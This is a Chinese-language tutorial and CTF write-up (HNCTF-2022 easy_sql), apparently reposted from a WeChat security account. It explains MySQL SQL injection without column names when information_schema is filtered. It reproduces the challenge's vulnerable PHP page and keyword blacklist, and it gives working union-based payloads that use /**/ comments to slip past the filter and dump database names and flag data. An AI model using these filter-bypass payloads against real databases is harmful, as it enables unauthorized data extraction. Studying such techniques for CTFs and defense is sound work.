SQL注入之无列名注入

admin 2023年5月15日01:28:03评论54 views字数 3389阅读11分17秒阅读模式


    在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名

1. InnoDb引擎

    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_statsinnodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

2. sys数据库

  在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schemaperformance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

    但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

原理

无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。

SQL注入之无列名注入

拿这个users表为例子,这个表有三列,列名分别为id,username,password。此时,我们用无列名查询的方式来查一下表中数据。

SQL注入之无列名注入

可以看到,此时得到了一个虚拟表,列名分别为1,2,3,其中存储了xxx表中的所有数据。

SQL注入之无列名注入

注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错

 此处有三个字段,则前面select语句要有是1,2,3。

    我们进行无列名注入就是利用了该方法,通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

select `2` from (select 1,2,3 union select * from users)a;

 

SQL注入之无列名注入

前面的select 2是查询虚构表中第二个字段,(select 1,2,3 union select * from users)a是把users中所有的列取一个别名1,2,3。并将此虚构表命名为a,此处可以用其他字符。

像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 2而不能直接用 2 。要使用"`"不过有时候` 也会被过滤,这时候我们就又要用另取别名了。

select 1 as a,2 as b,3 as c union select * from users;

SQL注入之无列名注入

把1,2,3另取别名为a,b,c,这样可以不使用反单引号,可以看到,此时构造的虚拟表的列名就分别是a,b,c了。此时查询就可以直接通过a,b,c来查。

 select b from (select 1 as a,2 as b,3 as c union select * from users)n;

查询成功

SQL注入之无列名注入

HNCTF-2022(easy_sql)

例题分析

<!DOCTYPE html><html><head><meta charset="UTF-8"><title>easysql</title></head><body><h2>请输入查询内容</h2><form action="./index.php" method="post"><label>id</label><input type="text" name="id" size=30/><br><input type="submit" value="查询"/><br><br><hr></form><?phpif(!isset($_POST['id'])) exit();  $name=$_POST['id'];  $flag=1;  $db=mysqli_connect("localhost","root","123456","ctf");if($db==false) exit("数据库连接失败!");if($name=="") {print("<p>请输入完整登录信息</p>");}else{if(preg_match("/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|~|!|@|#|\$|%|^|+|&|-| /i", $name)){die("error");  }  $query="select id,uname,infor from ccctttfff where id = '$name'";#echo $query;  @$result=mysqli_query($db,$query);print("<hr>");while($data=@mysqli_fetch_assoc($result)){    $flag=0;echo "Here is your want!<br>";print($data['infor']);  }if($flag){print("<p>姓名不存在,或账号密码错误</p>");  }}?></body></html>

可以看到过滤了

/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|~|!|@|#|\$|%|^|+|&|-| /i

直接看查询语句

$query="select id,uname,infor from ccctttfff where id = '$name'";

使用了单引号闭合,也就是说在构造注入语句的时候需要在最后加一个单引号来闭合。

查询数据库:

1'/**/union/**/select/**/1,2,database()/**/'

发现回显位置在第三列

SQL注入之无列名注入

查询所有数据库的名字

0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/union/**/select/**/1,2,3/**/'1


SQL注入之无列名注入

select/**/1,2,3/**/  是查询有几个列,一个个尝试,如果是  select/**/1,2,3,4/**/  就会报错,所以有三列

逐一猜有几列,select发现flag表中只有一个列,取别名为1,虚构表名字为a

0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1

SQL注入之无列名注入

PS:

这里解释一下为什么需要使用最后的union select 1,2,3

select `id`,`uname`,`infor` from ccccttf WHERE id = '0' union select 1,2,group_concat(`3`from (select 1,2,3 UNION SELECT * from falg)a UNION SELECT 1,2,3 '0'

上面的题为了闭合需要在插入语句中的最后使用一个单引号闭合'1'

select id,uname,infor from ccctttfff where id = '0'union select 1,2,group_concat(`1`) from (select 1 union select * from ctftraining.flag)a union select 1,2,3 '1'


SQL注入之无列名注入

但是已知  order by 、from  后面不可跟'1',这属于语法错误,但是union select后面可以跟闭合语句,因此需要在最后加一个union select语句

SQL注入之无列名注入

参考文章

https://blog.csdn.net/weixin_46330722/article/details/109605941https://dqgom7v7dl.feishu.cn/docx/doxcnfAleQyWvxtaviJQUyfedGd

Agreatly博客:

https://w.mcmine.cn/
                                                       金无足赤,人无完人

原文始发于微信公众号(朱厌安全团队):SQL注入之无列名注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:28:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之无列名注入http://cn-sec.com/archives/1729563.html

发表评论

匿名网友 填写信息